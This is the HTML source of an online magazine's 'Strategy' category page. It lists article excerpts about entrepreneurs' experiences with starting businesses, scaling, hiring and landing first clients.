sc_layouts_column sc-mobile_content_align_inherit sc-mobile_layouts_column_align_left sc_layouts_column sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="a031d05" data-element_type="column" data-e-type="column"> 594 <div class="elementor-widget-wrap elementor-element-populated"> 595 <div class="sc_layouts_item elementor-element elementor-element-168265a sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_menu" data-id="168265a" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_menu.default"> 596 <div class="elementor-widget-container"> 597 <div class="sc_layouts_iconed_text sc_layouts_menu_mobile_button"> 598 <a class="sc_layouts_item_link sc_layouts_iconed_text_link" href="#"> 599 <span class="sc_layouts_item_icon sc_layouts_iconed_text_icon"> 600 <span></span> 601 <span></span> 602 <span></span> 603 </span> 604 <span class="sc_layouts_iconed_text_text">Menu</span> 605 </a> 606 </div><nav class="sc_layouts_menu sc_layouts_menu_default sc_layouts_menu_dir_horizontal menu_hover_fade" data-animation-in="fadeIn" data-animation-out="fadeOut" ><ul id="menu_main" class="sc_layouts_menu_nav menu_main_nav"><li id="menu-item-22998" class="menu-item menu-item-type-taxonomy menu-item-object-category current-menu-item menu-item-22998"><a href="https://canvasrebel.com/category/strategy/" aria-current="page"><span>Strategy</span></a></li><li id="menu-item-22999" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-22999"><a href="https://canvasrebel.com/category/ideas/"><span>Ideas</span></a></li><li id="menu-item-23000" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23000"><a href="https://canvasrebel.com/category/leadership/"><span>Leadership</span></a></li><li id="menu-item-23001" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23001"><a href="https://canvasrebel.com/category/mission-purpose/"><span>Mission & Purpose</span></a></li><li id="menu-item-23002" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23002"><a href="https://canvasrebel.com/category/trends/"><span>Trends</span></a></li><li id="menu-item-23003" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23003"><a href="https://canvasrebel.com/category/creative-pursuits/"><span>Creative Pursuits</span></a></li></ul></nav><!-- /.sc_layouts_menu --> </div>
607 </div> 608 </div> 609 </div> 610 <div class="elementor-column elementor-col-50 elementor-inner-column elementor-element elementor-element-b750ae0 sc_content_align_right sc_layouts_column_align_right sc_layouts_column sc_layouts_column_icons_position_left sc_fly_static" data-id="b750ae0" data-element_type="column" data-e-type="column"> 611 <div class="elementor-widget-wrap elementor-element-populated"> 612 <div class="sc_layouts_item elementor-element elementor-element-d330152 sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_search" data-id="d330152" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_search.default"> 613 <div class="elementor-widget-container"> 614 <div class="sc_layouts_search" ><div class="search_wrap search_style_fullscreen layouts_search"> 615 <div class="search_form_wrap"> 616 <form role="search" method="get" class="search_form" action="https://canvasrebel.com/"> 617 <input type="hidden" value="" name="post_types"> 618 <input type="text" class="search_field" placeholder="Type here and hit enter" value="" name="s"> 619 <button type="submit" class="search_submit trx_addons_icon-search"></button> 620 </form> 621 <a class="search_close trx_addons_button_close"> 622 <span class="trx_addons_button_close_icon"></span> 623 </a> 624 </div> 625 </div></div> </div> 626 </div> 627 </div> 628 </div> 629 </div> 630 </section> 631 <div class="sc_layouts_item elementor-element elementor-element-dd7f3ca sc_fly_static elementor-widget elementor-widget-spacer" data-id="dd7f3ca" data-element_type="widget" data-e-type="widget" data-widget_type="spacer.default"> 632 <div class="elementor-widget-container"> 633 <div class="elementor-spacer"> 634 <div class="elementor-spacer-inner"></div> 635 </div> 636 </div> 637 </div> 638 <div class="sc_layouts_item elementor-element elementor-element-1b800b1 elementor-widget-divider--view-line sc_fly_static elementor-widget elementor-widget-divider" data-id="1b800b1" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 639 <div class="elementor-widget-container"> 640 <div class="elementor-divider"> 641 <span class="elementor-divider-separator"> 642 </span> 643 </div> 644 </div> 645 </div> 646 <div class="sc_layouts_item elementor-element elementor-element-ebb3fc9 elementor-widget-divider--view-line sc_fly_static elementor-widget elementor-widget-divider" data-id="ebb3fc9" data-element_type="widget" data-e-type="widget" data-widget_type="divider.default"> 647 <div class="elementor-widget-container"> 648 <div class="elementor-divider"> 649 <span class="elementor-divider-separator"> 650 </span> 651 </div> 652 </div> 653 </div> 654 </div> 655 </div> 656 </div> 657 </section> 658 <section class="elementor-section elementor-top-section elementor-element elementor-element-fb7d4a1 sc_layouts_row_fixed sc_layouts_row_fixed_always sc_layouts_row_hide_unfixed elementor-section-boxed elementor-section-height-default elementor-section-height-default sc_fly_static sc_layouts_row_fixed_ater_scroll" data-id="fb7d4a1" data-element_type="section" data-e-type="section"> 659 <div class="elementor-container elementor-column-gap-extended"> 660 <div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-a841400 sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="a841400" data-element_type="column" data-e-type="column"> 661 <div class="elementor-widget-wrap elementor-element-populated"> 662 <section class="elementor-section elementor-inner-section elementor-element elementor-element-50d47e0 elementor-section-content-middle sc_layouts_row sc_layouts_row_type_compact elementor-section-boxed elementor-section-height-default elementor-section-height-default sc_fly_static" data-id="50d47e0" data-element_type="section" data-e-type="section"> 663 <div class="elementor-container elementor-column-gap-no"> 664 <div class="elementor-column elementor-col-33 elementor-inner-column elementor-element elementor-element-da3e164 sc_layouts_column_align_left sc_layouts_column sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="da3e164" data-element_type="column" data-e-type="column"> 665 <div class="elementor-widget-wrap elementor-element-populated"> 666 <div class="sc_layouts_item elementor-element elementor-element-e1870be sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_logo" data-id="e1870be" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_logo.default"> 667 <div class="elementor-widget-container"> 668 <a href="https://canvasrebel.com/" 669 class="sc_layouts_logo sc_layouts_logo_default trx_addons_inline_1256017613" ><img class="logo_image" 670 src="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo.png" 671 srcset="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo.png 2x" 672 alt="CanvasRebel Magazine" ></a> </div>
673 </div> 674 </div> 675 </div> 676 <div class="elementor-column elementor-col-33 elementor-inner-column elementor-element elementor-element-c2dae4a sc_layouts_column_align_center sc_layouts_column sc_content_align_inherit sc_layouts_column_icons_position_left sc_fly_static" data-id="c2dae4a" data-element_type="column" data-e-type="column"> 677 <div class="elementor-widget-wrap elementor-element-populated"> 678 <div class="sc_layouts_item elementor-element elementor-element-beb3933 sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_menu" data-id="beb3933" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_menu.default"> 679 <div class="elementor-widget-container"> 680 <div class="sc_layouts_iconed_text sc_layouts_menu_mobile_button"> 681 <a class="sc_layouts_item_link sc_layouts_iconed_text_link" href="#"> 682 <span class="sc_layouts_item_icon sc_layouts_iconed_text_icon"> 683 <span></span> 684 <span></span> 685 <span></span> 686 </span> 687 <span class="sc_layouts_iconed_text_text">Menu</span> 688 </a> 689 </div><nav class="sc_layouts_menu sc_layouts_menu_default sc_layouts_menu_dir_horizontal menu_hover_fade" data-animation-in="fadeIn" data-animation-out="fadeOut" ><ul id="menu_main" class="sc_layouts_menu_nav menu_main_nav"><li id="menu-item-23479" class="menu-item menu-item-type-taxonomy menu-item-object-category current-menu-item menu-item-23479"><a href="https://canvasrebel.com/category/strategy/" aria-current="page"><span>Strategy</span></a></li><li id="menu-item-23480" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23480"><a href="https://canvasrebel.com/category/leadership/"><span>Leadership</span></a></li><li id="menu-item-23481" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23481"><a href="https://canvasrebel.com/category/ideas/"><span>Ideas</span></a></li><li id="menu-item-23482" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23482"><a href="https://canvasrebel.com/category/mission-purpose/"><span>Mission & Purpose</span></a></li><li id="menu-item-23483" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23483"><a href="https://canvasrebel.com/category/trends/"><span>Trends</span></a></li><li id="menu-item-23484" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23484"><a href="https://canvasrebel.com/category/creative-pursuits/"><span>Creative Pursuits</span></a></li></ul></nav><!-- /.sc_layouts_menu --> </div> 690 </div> 691 </div> 692 </div> 693 <div class="elementor-column elementor-col-33 elementor-inner-column elementor-element elementor-element-577f005 sc_content_align_right sc_layouts_column_align_right sc_layouts_column sc_layouts_column_icons_position_left sc_fly_static" data-id="577f005" data-element_type="column" data-e-type="column"> 694 <div class="elementor-widget-wrap elementor-element-populated"> 695 <div class="sc_layouts_item elementor-element elementor-element-f6fb843 sc_fly_static elementor-widget elementor-widget-trx_sc_layouts_search" data-id="f6fb843" data-element_type="widget" data-e-type="widget" data-widget_type="trx_sc_layouts_search.default"> 696 <div class="elementor-widget-container"> 697 <div class="sc_layouts_search" ><div class="search_wrap search_style_fullscreen layouts_search"> 698 <div class="search_form_wrap"> 699 <form role="search" method="get" class="search_form" action="https://canvasrebel.com/"> 700 <input type="hidden" value="" name="post_types"> 701 <input type="text" class="search_field" placeholder="Type here and hit enter" value="" name="s"> 702 <button type="submit" class="search_submit trx_addons_icon-search"></button> 703 </form> 704 <a class="search_close trx_addons_button_close"> 705 <span class="trx_addons_button_close_icon"></span> 706 </a> 707 </div> 708 </div></div> </div> 709 </div> 710 </div> 711 </div> 712 </div> 713 </section> 714 </div> 715 </div> 716 </div> 717 </section> 718 </div> 719 </header> 720<div class="menu_mobile_overlay"></div> 721<div class="menu_mobile menu_mobile_fullscreen scheme_dark"> 722 <div class="menu_mobile_inner"> 723 <a class="menu_mobile_close theme_button_close" tabindex="0"><span class="theme_button_close_icon"></span></a> 724 <a class="sc_layouts_logo" href="https://canvasrebel.com/"> 725 <img src="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo-white.png" srcset="//cdn.canvasrebel.com/wp-content/uploads/2020/04/logo-white.png 2x" alt="CanvasRebel Magazine"> </a> 726 <nav class="menu_mobile_nav_area" itemscope="itemscope" itemtype="https://schema.org/SiteNavigationElement"><ul id="mobile-menu_mobile_1655143084"><li id="mobile-menu-item-23479" class="menu-item menu-item-type-taxonomy menu-item-object-category current-menu-item menu-item-23479"><a href="https://canvasrebel.com/category/strategy/" aria-current="page"><span>Strategy</span></a></li><li id="mobile-menu-item-23480" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23480"><a href="https://canvasrebel.com/category/leadership/"><span>Leadership</span></a></li><li id="mobile-menu-item-23481" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23481"><a href="https://canvasrebel.com/category/ideas/"><span>Ideas</span></a></li><li id="mobile-menu-item-23482" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23482"><a href="https://canvasrebel.com/category/mission-purpose/"><span>Mission & Purpose</span></a></li><li id="mobile-menu-item-23483" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23483"><a href="https://canvasrebel.com/category/trends/"><span>Trends</span></a></li><li id="mobile-menu-item-23484" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-23484"><a href="https://canvasrebel.com/category/creative-pursuits/"><span>Creative Pursuits</span></a></li></ul></nav><div class="search_wrap search_style_normal search_mobile"> 727 <div class="search_form_wrap"> 728 <form role="search" method="get" class="search_form" action="https://canvasrebel.com/"> 729 <input type="hidden" value="" name="post_types"> 730 <input type="text" class="search_field" placeholder="Type here and hit enter" value="" name="s"> 731 <button type="submit" class="search_submit trx_addons_icon-search"></button> 732 </form> 733 </div> 734 </div><div class="socials_mobile"><a target="_blank" rel="nofollow" href="https://www.instagram.com/canvasrebel/" class="social_item social_item_style_icons sc_icon_type_icons social_item_type_icons"><span class="social_icon social_icon_instagram" style=""><span class="screen-reader-text">instagram</span><span class="icon-instagram"></span></span></a></div> </div> 735</div> 736 737 738 <div class="page_content_wrap"> 739 <div class="content_wrap"> 740 741 742 <div class="content">
743 <a id="content_skip_link_anchor" class="kicker_skip_link_anchor" href="#"></a> 744 745<div class="category_page category"><div class="category_image"></div><!-- .category_image --> 746 747 <h4 class="category_title"><span class="fn">Strategy</span></h4> 748 749 750</div><!-- .category_page --> 751 <div class="posts_container excerpt_wrap excerpt_1"> 752 <article id="post-2306302" data-post-id="2306302" 753 class="post_item post_item_container post_layout_excerpt post_format_standard post-2306302 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 754 <div class="post_featured with_thumb hover_inherit"><img fetchpriority="high" width="850" height="541" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1787584043953-personal_1787584043691_1787584043691_sarah_bandy_1-e1789633911428-850x541.jpg" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="" decoding="async" /> <div class="mask"></div> 755 <a href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-139/" aria-hidden="true" class="icons"></a> 756 </div> <div class="post_header entry-header"> 757 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 758 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-139/" rel="bookmark">Do you wish you had started your business sooner or later?</a></h1> </div><!-- .post_header --> 759 <div class="post_content entry-content"> 760 <div class="post_content_inner">Almost every entrepreneur has had to decide whether to take the leap now or wait– perhaps they wanted to acquire more capital, experience or connections. Given how common this predicament is, we asked some successful business owners to reflect back on whether they wish they had started sooner or waited for a better time. 761Sarah…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-139/">September 17, 2026</a></span><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-139/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/do-you-wish-you-had-started-your-business-sooner-or-later-139/">Read more</a></p> </div><!-- .entry-content --> 762</article> 763<article id="post-2306321" data-post-id="2306321" 764 class="post_item post_item_container post_layout_excerpt post_format_standard post-2306321 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 765 <div class="post_featured with_thumb hover_inherit"><img width="850" height="541" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1788169214741-personal_1788169214640_1788169214640_travis_borkenhagen_img_8599-2-1-850x541.jpg" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="" decoding="async" /> <div class="mask"></div> 766 <a href="https://canvasrebel.com/how-did-you-scale-up-91/" aria-hidden="true" class="icons"></a> 767 </div> <div class="post_header entry-header"> 768 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 769 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/how-did-you-scale-up-91/" rel="bookmark">How did you scale up?</a></h1> </div><!-- .post_header --> 770 <div class="post_content entry-content"> 771 <div class="post_content_inner">When businesses are covered in the media, often there is a lot of focus on the initial idea, the genesis moment. Then they almost brush over the middle part – the scaling up part – and arrive at how big and awesome the business is today. It makes for a fun read or in the…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/how-did-you-scale-up-91/">September 17, 2026</a></span><a href="https://canvasrebel.com/how-did-you-scale-up-91/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/how-did-you-scale-up-91/">Read more</a></p> </div><!-- .entry-content --> 772</article> 773<article id="post-2306323" data-post-id="2306323" 774 class="post_item post_item_container post_layout_excerpt post_format_standard post-2306323 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 775 <div class="post_featured with_thumb hover_inherit"><img width="850" height="541" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1788795721222-personal_1788795721009_1788795721009_megan_najera_headshot-northlake-magazine-1-e1789636543212-850x541.jpeg" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="" decoding="async" /> <div class="mask"></div> 776 <a href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-126/" aria-hidden="true" class="icons"></a> 777 </div> <div class="post_header entry-header"> 778 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 779 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-126/" rel="bookmark">Important lessons learned at a prior job</a></h1> </div><!-- .post_header --> 780 <div class="post_content entry-content"> 781 <div class="post_content_inner">Experience is often valued because of the lessons prior jobs have theoretically provided us with. While hearing about those lessons isn’t a replacement for actually experiencing it, we thought it would be very helpful to create a space where sharp and generous members of the community can come together to share stories and lessons learned…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-126/">September 17, 2026</a></span><a href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-126/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-126/">Read more</a></p> </div><!-- .entry-content --> 782</article> 783<article id="post-2306296" data-post-id="2306296" 784 class="post_item post_item_container post_layout_excerpt post_format_standard post-2306296 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 785 <div class="post_featured with_thumb hover_inherit"><img loading="lazy" width="850" height="541" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1788919191944-personal_1788919191657_17889
78519191657_leia_owen_2023-11-leia-o-14-1-850x541.jpg" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="" decoding="async" /> <div class="mask"></div> 786 <a href="https://canvasrebel.com/storytime-building-a-team-96/" aria-hidden="true" class="icons"></a> 787 </div> <div class="post_header entry-header"> 788 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 789 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/storytime-building-a-team-96/" rel="bookmark">Storytime: Building a team</a></h1> </div><!-- .post_header --> 790 <div class="post_content entry-content"> 791 <div class="post_content_inner">Do you remember your first hire? There is so much that goes into building a company, but few things matter as much the quality of the team you assemble. Given the immense importance of team building, we wanted to create a series where we ask entrepreneurs who have been there and done that, to share…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/storytime-building-a-team-96/">September 17, 2026</a></span><a href="https://canvasrebel.com/storytime-building-a-team-96/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/storytime-building-a-team-96/">Read more</a></p> </div><!-- .entry-content --> 792</article> 793<article id="post-2306304" data-post-id="2306304" 794 class="post_item post_item_container post_layout_excerpt post_format_standard post-2306304 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 795 <div class="post_featured with_thumb hover_inherit"><img loading="lazy" width="850" height="541" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1788911264400-personal_1788911264308_1788911264308_christine_germain_1-e1789634148982-850x541.png" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="" decoding="async" /> <div class="mask"></div> 796 <a href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-40/" aria-hidden="true" class="icons"></a> 797 </div> <div class="post_header entry-header"> 798 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 799 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-40/" rel="bookmark">Do you wish you had started your creative career sooner or later?</a></h1> </div><!-- .post_header --> 800 <div class="post_content entry-content"> 801 <div class="post_content_inner">Everyday, somewhere, there is an aspiring artist or creative daydreaming about pursing their creative career full time. Everyday, there are countless creatives thinking about whether to pursue their passion more seriously and so we wanted to hear from folks who’ve made the leap. We asked them to reflect on if they wish they had started…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-40/">September 17, 2026</a></span><a href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-40/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/do-you-wish-you-had-started-your-creative-career-sooner-or-later-40/">Read more</a></p> </div><!-- .entry-content --> 802</article> 803<article id="post-2306318" data-post-id="2306318" 804 class="post_item post_item_container post_layout_excerpt post_format_standard post-2306318 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 805 <div class="post_featured with_thumb hover_inherit"><img loading="lazy" width="850" height="541" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1788281945281-personal_1788281945164_1788281945164_tamra_stanish_tamra-stanish_branding-images_thp-5763-1-850x541.png" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="" decoding="async" /> <div class="mask"></div> 806 <a href="https://canvasrebel.com/storytime-the-first-client-94/" aria-hidden="true" class="icons"></a> 807 </div> <div class="post_header entry-header"> 808 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 809 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/storytime-the-first-client-94/" rel="bookmark">Storytime: the first client</a></h1> </div><!-- .post_header --> 810 <div class="post_content entry-content"> 811 <div class="post_content_inner">Getting your first client is an exhilarating experience, but it’s also an experience that far too many aspiring entrepreneurs never experience. Sometimes, the difference between an idea dying in the idea stage or going on to change the world is getting that first customer – the first tiny win that creates the momentum to make…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/storytime-the-first-client-94/">September 17, 2026</a></span><a href="https://canvasrebel.com/storytime-the-first-client-94/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/storytime-the-first-client-94/">Read more</a></p> </div><!-- .entry-content --> 812</article> 813<article id="post-2301855" data-post-id="2301855" 814 class="post_item post_item_container post_layout_excerpt post_format_standard post-2301855 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 815 <div class="post_featured with_thumb hover_inherit"><img loading="lazy" width="642" height="322" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1788351473663-personal_1788351473470_1788351473470_marta_czajkowska_headshots-marta13-642x322-1.png" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="" decoding="async" srcset="https://canvasrebel.com/wp-content/uploads/2026/09/c-1788351473663-personal_1788351473470_1788351473470_marta_czajkowska_headshots-marta13-642x322-1.png 642w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788351473663-personal_1788351473470_1788351473470_marta_czajkowska_headshots-marta13-642x322-1-300x150.png 300w, https://canvasrebel.com/wp-content/uploads/2026/09/c-1788351473663-personal_1788351473470_1788351473470_marta_czajkowska_headshots-marta13-642x322-1-370x186.png 370w" sizes="(max-width: 642px) 100vw, 642px" /> <div class="mask"></div> 816 <a href="https://canvasrebel.com/storytime-the-first-client-93/" aria-hidden="true" class="icons"></a> 817 </div> <div class="post_header entry-header"> 818 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 819 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/storytime-the-first-client-93/" rel="bookmark">Storytime: the first client</a></h1> </div><!-- .post_header --> 820 <div class="post_content entry-content"> 821 <div class="post_content_inner">Getting your first client is an exhilarating experience, but it’s also an experience that far too many aspiring entrepreneurs never experience. Sometimes, the difference between an idea dying in the idea stage or going on to change the world is getting that first customer – the first tiny win that creates the momentum to make…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' srcset='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-112x112.jpg 2x' class='avatar avatar-56 photo' height='56' width='56' decoding='async'/></span><span class="post_author_by">By</span><span class="post_author_name">Stories & Insights</span></a><span class="post_meta_item post_date"><a href="https://canvasrebel.com/storytime-the-first-client-93/">September 14, 2026</a></span><a href="https://canvasrebel.com/storytime-the-first-client-93/#respond" class="post_meta_item post_meta_comments icon-comment-light"><span class="post_meta_number">0</span><span class="post_meta_label">Comments</span></a></div><p><a class="more-link" href="https://canvasrebel.com/storytime-the-first-client-93/">Read more</a></p> </div><!-- .entry-content --> 822</article> 823<article id="post-2301861" data-post-id="2301861" 824 class="post_item post_item_container post_layout_excerpt post_format_standard post-2301861 post type-post status-publish format-standard has-post-thumbnail hentry category-strategy"> 825 <div class="post_featured with_thumb hover_inherit"><img loading="lazy" width="850" height="541" src="https://canvasrebel.com/wp-content/uploads/2026/09/c-1787598296342-personal_1787598296175_1787598296175_clarke_ball_headsh
825ot-1-850x541.jpeg" class="attachment-kicker-thumb-big size-kicker-thumb-big wp-post-image" alt="" decoding="async" /> <div class="mask"></div> 826 <a href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-125/" aria-hidden="true" class="icons"></a> 827 </div> <div class="post_header entry-header"> 828 <div class="post_category"><div class="post_meta"><span class="post_meta_item post_categories"><a href="https://canvasrebel.com/category/strategy/" rel="category tag">Strategy</a></span></div></div> 829 <h1 class="post_title entry-title h1"><a href="https://canvasrebel.com/important-lessons-learned-at-a-prior-job-125/" rel="bookmark">Important lessons learned at a prior job</a></h1> </div><!-- .post_header --> 830 <div class="post_content entry-content"> 831 <div class="post_content_inner">Experience is often valued because of the lessons prior jobs have theoretically provided us with. While hearing about those lessons isn’t a replacement for actually experiencing it, we thought it would be very helpful to create a space where sharp and generous members of the community can come together to share stories and lessons learned…</div><div class="post_meta"><a class="post_meta_item post_author" rel="author" href="https://canvasrebel.com/author/canvasrebeleditor/"><span class="post_author_avatar"><img alt='Avatar photo' src='https://canvasrebel.com/wp-content/uploads/2022/03/CANVASREBEL-1080x1080-1-56x56.jpg' 